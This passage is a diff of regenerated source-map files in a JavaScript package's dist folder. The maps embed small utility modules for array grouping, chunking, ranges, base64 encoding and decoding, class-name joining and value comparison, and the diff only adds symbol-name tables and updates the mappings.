+{"version":3,"file":"arrays.js","names":["groupBy","result","item","items","k","key","uniqueBy","seen","chunk","size","i","range","step","start","end"],"sources":["../../src/utils/arrays.ts"],"sourcesContent":["/**\n * Group items of a list into buckets keyed by the result of `key`.\n *\n * Items preserve their original order within each bucket.\n *\n * @example\n * groupBy([1, 2, 3, 4], (n) => (n % 2 === 0 ? \"even\" : \"odd\"));\n * // { odd: [1, 3], even: [2, 4] }\n *\n * @example\n * groupBy([{ city: \"SP\" }, { city: \"RJ\" }, { city: \"SP\" }], (u) => u.city);\n * // { SP: [{ city: \"SP\" }, { city: \"SP\" }], RJ: [{ city: \"RJ\" }] }\n */\nexport function groupBy<T, K extends PropertyKey>(items: T[], key: (item: T) => K): Record<K, T[]> {\n    const result = {} as Record<K, T[]>;\n    for (const item of items) {\n        const k = key(item);\n        (result[k] ??= []).push(item);\n    }\n    return result;\n}\n\n/**\n * Remove duplicate items, keeping the first occurrence of each distinct key.\n *\n * Equality is determined by the value returned from `key` (compared with `===`).\n *\n * @example\n * uniqueBy([1, 2, 2, 3, 1], (n) => n); // [1, 2, 3]\n *\n * @example\n * uniqueBy(\n *   [{ id: 1, v: \"a\" }, { id: 1, v: \"b\" }, { id: 2, v: \"c\" }],\n *   (u) => u.id,\n * );\n * // [{ id: 1, v: \"a\" }, { id: 2, v: \"c\" }]\n */\nexport function uniqueBy<T>(items: T[], key: (item: T) => unknown): T[] {\n    const seen = new Set<unknown>();\n    const result: T[] = [];\n    for (const item of items) {\n        const k = key(item);\n        if (!seen.has(k)) {\n            seen.add(k);\n            result.push(item);\n        }\n    }\n    return result;\n}\n\n/**\n * Split a list into consecutive chunks of at most `size` items.\n *\n * The final chunk may be smaller than `size`. An empty input yields `[]`.\n *\n * @param items - The list to split.\n * @param size - Maximum chunk length; must be `>= 1`.\n * @throws {RangeError} When `size` is less than `1`.\n *\n * @example\n * chunk([1, 2, 3, 4, 5], 2); // [[1, 2], [3, 4], [5]]\n *\n * @example\n * chunk([], 3); // []\n */\nexport function chunk<T>(items: T[], size: number): T[][] {\n    if (size < 1) {\n        throw new RangeError(`chunk size must be >= 1, received ${size}`);\n    }\n    const result: T[][] = [];\n    for (let i = 0; i < items.length; i += size) {\n        result.push(items.slice(i, i + size));\n    }\n    return result;\n}\n\n/**\n * Build a numeric range from `start` (inclusive) to `end` (exclusive).\n *\n * - `step` defaults to `1` and may be negative for descending ranges.\n * - Returns an empty array when no progress can be made toward `end`\n *   (wrong-direction step, zero step, or `start === end`).\n *\n * @param start - First value of the range.\n * @param end - Exclusive upper (or lower, for negative step) bound.\n * @param step - Increment between values; defaults to `1`.\n *\n * @example\n * range(0, 5);        // [0, 1, 2, 3, 4]\n * range(0, 10, 2);    // [0, 2, 4, 6, 8]\n * range(5, 0, -1);    // [5, 4, 3, 2, 1]\n * range(0, 5, -1);    // [] (wrong direction)\n * range(3, 3);        // []\n */\nexport function range(start: number, end: number, step: number = 1): number[] {\n    const result: number[] = [];\n    if (step === 0) return result;\n    if (step > 0) {\n        for (let i = start; i < end; i += step) result.push(i);\n    } else {\n        for (let i = start; i > end; i += step) result.push(i);\n    }\n    return result;\n}\n"],"mappings":";AAaA,SAAgBA,EAAkC,GAAY,GAAqC;CAC/F,IAAMC,IAAS,CAAC;CAChB,KAAK,IAAMC,KAAQC,GAAO;EACtB,IAAMC,IAAIC,EAAIH,CAAI;EAClB,CAAC,EAAOE,OAAO,CAAC,EAAA,CAAG,KAAKF,CAAI;CAChC;CACA,OAAOD;AACX;AAiBA,SAAgBK,EAAY,GAAY,GAAgC;CACpE,IAAMC,oBAAO,IAAI,IAAa,GACxBN,IAAc,CAAC;CACrB,KAAK,IAAMC,KAAQC,GAAO;EACtB,IAAMC,IAAIC,EAAIH,CAAI;EAClB,AAAKK,EAAK,IAAIH,CAAC,MACXG,EAAK,IAAIH,CAAC,GACVH,EAAO,KAAKC,CAAI;CAExB;CACA,OAAOD;AACX;AAiBA,SAAgBO,EAAS,GAAY,GAAqB;CACtD,IAAIC,IAAO,GACP,MAAU,WAAW,qCAAqCA,GAAM;CAEpE,IAAMR,IAAgB,CAAC;CACvB,KAAK,IAAIS,IAAI,GAAGA,IAAIP,EAAM,QAAQ,KAAKM,GACnC,EAAO,KAAKN,EAAM,MAAMO,GAAGA,IAAID,CAAI,CAAC;CAExC,OAAOR;AACX;AAoBA,SAAgBU,EAAM,GAAe,GAAa,IAAe,GAAa;CAC1E,IAAMV,IAAmB,CAAC;CAC1B,IAAIW,MAAS,GAAG,OAAOX;CACvB,IAAIW,IAAO,GACP,KAAK,IAAI,IAAIC,GAAO,IAAIC,GAAK,KAAKF,GAAM,EAAO,KAAK,CAAC;MAErD,KAAK,IAAI,IAAIC,GAAO,IAAIC,GAAK,KAAKF,GAAM,EAAO,KAAK,CAAC;CAEzD,OAAOX;AACX"}

package/dist/utils/base64.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"base64.cjs","names":[],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":"AAeA,SAAgB,EAAc,EAAmB,EAAiC,CAAC,EAAW,CAC1F,IAAI,EAAS,GACP,EAAY,MAClB,IAAK,IAAI,EAAQ,EAAG,EAAQ,EAAM,OAAQ,GAAS,EAC/C,GAAU,OAAO,aAAa,GAAG,EAAM,SAAS,EAAO,EAAQ,CAAS,CAAC,EAE7E,IAAM,EAAU,KAAK,CAAM,EAE3B,OADK,EAAQ,QACN,EAAQ,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,EAAE,EAD3C,CAEjC,CAcA,SAAgB,EAAc,EAAwC,CAClE,IAAM,EAAW,EAAM,QAAQ,KAAM,GAAG,CAAC,CAAC,QAAQ,KAAM,GAAG,EACrD,EAAS,EAAS,OAAO,EAAS,QAAW,EAAK,EAAS,OAAS,GAAM,EAAI,GAAG,EACjF,EAAS,KAAK,CAAM,EACpB,EAAQ,IAAI,WAAW,EAAO,MAAM,EAC1C,IAAK,IAAI,EAAQ,EAAG,EAAQ,EAAO,OAAQ,GAAS,EAChD,EAAM,GAAS,EAAO,WAAW,CAAK,EAE1C,OAAO,CACX"}
+{"version":3,"file":"base64.cjs","names":["bytesToBase64","binary","chunkSize","index","bytes","encoded","options","base64ToBytes","standard","value","padded"],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":"AAeA,SAAgBA,EAAc,EAAmB,EAAiC,CAAC,EAAW,CAC1F,IAAIC,EAAS,GACPC,EAAY,MAClB,IAAK,IAAIC,EAAQ,EAAGA,EAAQC,EAAM,OAAQ,GAASF,EAC/C,GAAU,OAAO,aAAa,GAAGE,EAAM,SAASD,EAAOA,EAAQD,CAAS,CAAC,EAE7E,IAAMG,EAAU,KAAKJ,CAAM,EAE3B,OADKK,EAAQ,QACND,EAAQ,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,GAAG,CAAC,CAAC,QAAQ,MAAO,EAAE,EAD3CA,CAEjC,CAcA,SAAgBE,EAAc,EAAwC,CAClE,IAAMC,EAAWC,EAAM,QAAQ,KAAM,GAAG,CAAC,CAAC,QAAQ,KAAM,GAAG,EACrDC,EAASF,EAAS,OAAOA,EAAS,QAAW,EAAKA,EAAS,OAAS,GAAM,EAAI,GAAG,EACjFP,EAAS,KAAKS,CAAM,EACpBN,EAAQ,IAAI,WAAWH,EAAO,MAAM,EAC1C,IAAK,IAAIE,EAAQ,EAAGA,EAAQF,EAAO,OAAQ,GAAS,EAChD,EAAME,GAASF,EAAO,WAAWE,CAAK,EAE1C,OAAOC,CACX,C"}

package/dist/utils/base64.js.map

@@ -1 +1 @@
-{"version":3,"file":"base64.js","names":[],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":";AAeA,SAAgB,EAAc,GAAmB,IAAiC,CAAC,GAAW;CAC1F,IAAI,IAAS,IACP,IAAY;CAClB,KAAK,IAAI,IAAQ,GAAG,IAAQ,EAAM,QAAQ,KAAS,GAC/C,KAAU,OAAO,aAAa,GAAG,EAAM,SAAS,GAAO,IAAQ,CAAS,CAAC;CAE7E,IAAM,IAAU,KAAK,CAAM;CAE3B,OADK,EAAQ,UACN,EAAQ,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,EAAE,IAD3C;AAEjC;AAcA,SAAgB,EAAc,GAAwC;CAClE,IAAM,IAAW,EAAM,QAAQ,MAAM,GAAG,CAAC,CAAC,QAAQ,MAAM,GAAG,GACrD,IAAS,EAAS,OAAO,EAAS,UAAW,IAAK,EAAS,SAAS,KAAM,GAAI,GAAG,GACjF,IAAS,KAAK,CAAM,GACpB,IAAQ,IAAI,WAAW,EAAO,MAAM;CAC1C,KAAK,IAAI,IAAQ,GAAG,IAAQ,EAAO,QAAQ,KAAS,GAChD,EAAM,KAAS,EAAO,WAAW,CAAK;CAE1C,OAAO;AACX"}
+{"version":3,"file":"base64.js","names":["bytesToBase64","binary","chunkSize","index","bytes","encoded","options","base64ToBytes","standard","value","padded"],"sources":["../../src/utils/base64.ts"],"sourcesContent":["/**\n * Base64-encode bytes, without splatting the whole array into `fromCharCode`.\n *\n * `String.fromCharCode(...bytes)` overflows the argument limit somewhere around\n * a hundred thousand entries — which a compressed save reaches easily — so the\n * conversion walks the buffer in 32 KiB windows. That is also why this is the\n * version worth sharing: the byte-at-a-time loop the other two call sites used\n * has no argument limit either, but it is markedly slower on the payload sizes\n * `compressedStorage` exists for.\n *\n * @param bytes - The bytes to encode.\n * @param options - Pass `urlSafe` for the base64url alphabet (`-`/`_`, unpadded),\n *   which is what WebAuthn and anything travelling in a URL needs.\n * @returns Base64 text.\n */\nexport function bytesToBase64(bytes: Uint8Array, options: { urlSafe?: boolean } = {}): string {\n    let binary = \"\";\n    const chunkSize = 0x8000;\n    for (let index = 0; index < bytes.length; index += chunkSize) {\n        binary += String.fromCharCode(...bytes.subarray(index, index + chunkSize));\n    }\n    const encoded = btoa(binary);\n    if (!options.urlSafe) return encoded;\n    return encoded.replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n}\n\n/**\n * Decode base64 into bytes, accepting either alphabet.\n *\n * Takes no `urlSafe` option on purpose: translating `-`/`_` and restoring the\n * padding are no-ops on standard padded base64, so one permissive decoder is\n * correct for both inputs. Getting this half wrong — usually by feeding\n * unpadded base64url straight to `atob` and losing the last byte — is the\n * classic broken-WebAuthn bug.\n *\n * @param value - Base64 or base64url text, with or without `=` padding.\n * @returns The decoded bytes.\n */\nexport function base64ToBytes(value: string): Uint8Array<ArrayBuffer> {\n    const standard = value.replace(/-/g, \"+\").replace(/_/g, \"/\");\n    const padded = standard.padEnd(standard.length + ((4 - (standard.length % 4)) % 4), \"=\");\n    const binary = atob(padded);\n    const bytes = new Uint8Array(binary.length);\n    for (let index = 0; index < binary.length; index += 1) {\n        bytes[index] = binary.charCodeAt(index);\n    }\n    return bytes;\n}\n"],"mappings":";AAeA,SAAgBA,EAAc,GAAmB,IAAiC,CAAC,GAAW;CAC1F,IAAIC,IAAS,IACPC,IAAY;CAClB,KAAK,IAAIC,IAAQ,GAAGA,IAAQC,EAAM,QAAQ,KAASF,GAC/C,KAAU,OAAO,aAAa,GAAGE,EAAM,SAASD,GAAOA,IAAQD,CAAS,CAAC;CAE7E,IAAMG,IAAU,KAAKJ,CAAM;CAE3B,OADKK,EAAQ,UACND,EAAQ,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,GAAG,CAAC,CAAC,QAAQ,OAAO,EAAE,IAD3CA;AAEjC;AAcA,SAAgBE,EAAc,GAAwC;CAClE,IAAMC,IAAWC,EAAM,QAAQ,MAAM,GAAG,CAAC,CAAC,QAAQ,MAAM,GAAG,GACrDC,IAASF,EAAS,OAAOA,EAAS,UAAW,IAAKA,EAAS,SAAS,KAAM,GAAI,GAAG,GACjFP,IAAS,KAAKS,CAAM,GACpBN,IAAQ,IAAI,WAAWH,EAAO,MAAM;CAC1C,KAAK,IAAIE,IAAQ,GAAGA,IAAQF,EAAO,QAAQ,KAAS,GAChD,EAAME,KAASF,EAAO,WAAWE,CAAK;CAE1C,OAAOC;AACX"}

package/dist/utils/cn.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"cn.cjs","names":[],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":"AAQA,SAAgB,EAAG,GAAG,EAA8B,CAChD,IAAM,EAAgB,CAAC,EACvB,IAAK,IAAM,KAAS,EACZ,MAAU,MAA+B,IAAU,IAAS,IAAU,GAG1E,IAAI,OAAO,GAAU,SACb,GAAO,EAAI,KAAK,CAAK,OACtB,GAAI,OAAO,GAAU,UAAY,OAAO,GAAU,SACrD,EAAI,KAAK,OAAO,CAAK,CAAC,OACnB,GAAI,MAAM,QAAQ,CAAK,EAAG,CAC7B,IAAM,EAAS,EAAG,GAAG,CAAK,EACtB,GAAQ,EAAI,KAAK,CAAM,CAC/B,EAEJ,OAAO,EAAI,KAAK,GAAG,CACvB"}
+{"version":3,"file":"cn.cjs","names":["cn","values","out","value","nested"],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":"AAQA,SAAgBA,EAAG,GAAGC,EAA8B,CAChD,IAAMC,EAAgB,CAAC,EACvB,IAAK,IAAMC,KAASF,EAChB,GAAIE,GAAU,MAA+BA,IAAU,IAASA,IAAU,GAG1E,IAAI,OAAOA,GAAU,SACbA,GAAOD,EAAI,KAAKC,CAAK,OACtB,GAAI,OAAOA,GAAU,UAAY,OAAOA,GAAU,SACrDD,EAAI,KAAK,OAAOC,CAAK,CAAC,OACnB,GAAI,MAAM,QAAQA,CAAK,EAAG,CAC7B,IAAMC,EAASJ,EAAG,GAAGG,CAAK,EACtBC,GAAQF,EAAI,KAAKE,CAAM,CAC/B,EAEJ,OAAOF,EAAI,KAAK,GAAG,CACvB,C"}

package/dist/utils/cn.js.map

@@ -1 +1 @@
-{"version":3,"file":"cn.js","names":[],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":";AAQA,SAAgB,EAAG,GAAG,GAA8B;CAChD,IAAM,IAAgB,CAAC;CACvB,KAAK,IAAM,KAAS,GACZ,SAAU,QAA+B,MAAU,MAAS,MAAU,IAG1E;MAAI,OAAO,KAAU,UACb,AAAA,KAAO,EAAI,KAAK,CAAK;OACtB,IAAI,OAAO,KAAU,YAAY,OAAO,KAAU,UACrD,EAAI,KAAK,OAAO,CAAK,CAAC;OACnB,IAAI,MAAM,QAAQ,CAAK,GAAG;GAC7B,IAAM,IAAS,EAAG,GAAG,CAAK;GAC1B,AAAI,KAAQ,EAAI,KAAK,CAAM;EAC/B;;CAEJ,OAAO,EAAI,KAAK,GAAG;AACvB"}
+{"version":3,"file":"cn.js","names":["cn","values","out","value","nested"],"sources":["../../src/utils/cn.ts"],"sourcesContent":["type ClassValue = string | number | bigint | boolean | null | undefined | ClassValue[];\n\n/**\n * Tiny classnames helper. Accepts strings, falsy values and nested arrays.\n *\n * @param values - Class entries, conditionally truthy.\n * @returns A single space-joined class string.\n */\nexport function cn(...values: ClassValue[]): string {\n    const out: string[] = [];\n    for (const value of values) {\n        if (value === null || value === undefined || value === false || value === true) {\n            continue;\n        }\n        if (typeof value === \"string\") {\n            if (value) out.push(value);\n        } else if (typeof value === \"number\" || typeof value === \"bigint\") {\n            out.push(String(value));\n        } else if (Array.isArray(value)) {\n            const nested = cn(...value);\n            if (nested) out.push(nested);\n        }\n    }\n    return out.join(\" \");\n}\n"],"mappings":";AAQA,SAAgBA,EAAG,GAAGC,GAA8B;CAChD,IAAMC,IAAgB,CAAC;CACvB,KAAK,IAAMC,KAASF,GAChB,IAAIE,KAAU,QAA+BA,MAAU,MAASA,MAAU,IAG1E;MAAI,OAAOA,KAAU,UACb,AAAAA,KAAOD,EAAI,KAAKC,CAAK;OACtB,IAAI,OAAOA,KAAU,YAAY,OAAOA,KAAU,UACrD,EAAI,KAAK,OAAOA,CAAK,CAAC;OACnB,IAAI,MAAM,QAAQA,CAAK,GAAG;GAC7B,IAAMC,IAASJ,EAAG,GAAGG,CAAK;GAC1B,AAAIC,KAAQF,EAAI,KAAKE,CAAM;EAC/B;;CAEJ,OAAOF,EAAI,KAAK,GAAG;AACvB"}

package/dist/utils/compare-values.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"compare-values.cjs","names":[],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":"AAQA,IAAM,EAAgB,IAAI,KAAK,SAAS,IAAA,GAAW,CAAE,QAAS,EAAK,CAAC,EAmBpE,SAAgB,EAAc,EAAY,EAAoB,CAO1D,OANI,GAAK,MAAQ,GAAK,KAAa,EAC/B,GAAK,KAAa,GAClB,GAAK,KAAa,EAClB,OAAO,GAAM,UAAY,OAAO,GAAM,SAAiB,EAAI,EAC3D,aAAa,MAAQ,aAAa,KAAa,EAAE,QAAQ,EAAI,EAAE,QAAQ,EACvE,OAAO,GAAM,WAAa,OAAO,GAAM,UAAkB,OAAO,CAAC,EAAI,OAAO,CAAC,EAC1E,EAAc,QAAQ,OAAO,CAAC,EAAG,OAAO,CAAC,CAAC,CACrD"}
+{"version":3,"file":"compare-values.cjs","names":["TEXT_COLLATOR","compareValues","a","b"],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":"AAQA,IAAMA,EAAgB,IAAI,KAAK,SAAS,IAAA,GAAW,CAAE,QAAS,EAAK,CAAC,EAmBpE,SAAgBC,EAAc,EAAY,EAAoB,CAO1D,OANIC,GAAK,MAAQC,GAAK,KAAa,EAC/BD,GAAK,KAAa,GAClBC,GAAK,KAAa,EAClB,OAAOD,GAAM,UAAY,OAAOC,GAAM,SAAiBD,EAAIC,EAC3DD,aAAa,MAAQC,aAAa,KAAaD,EAAE,QAAQ,EAAIC,EAAE,QAAQ,EACvE,OAAOD,GAAM,WAAa,OAAOC,GAAM,UAAkB,OAAOD,CAAC,EAAI,OAAOC,CAAC,EAC1EH,EAAc,QAAQ,OAAOE,CAAC,EAAG,OAAOC,CAAC,CAAC,CACrD,C"}

package/dist/utils/compare-values.js.map

@@ -1 +1 @@
-{"version":3,"file":"compare-values.js","names":[],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === 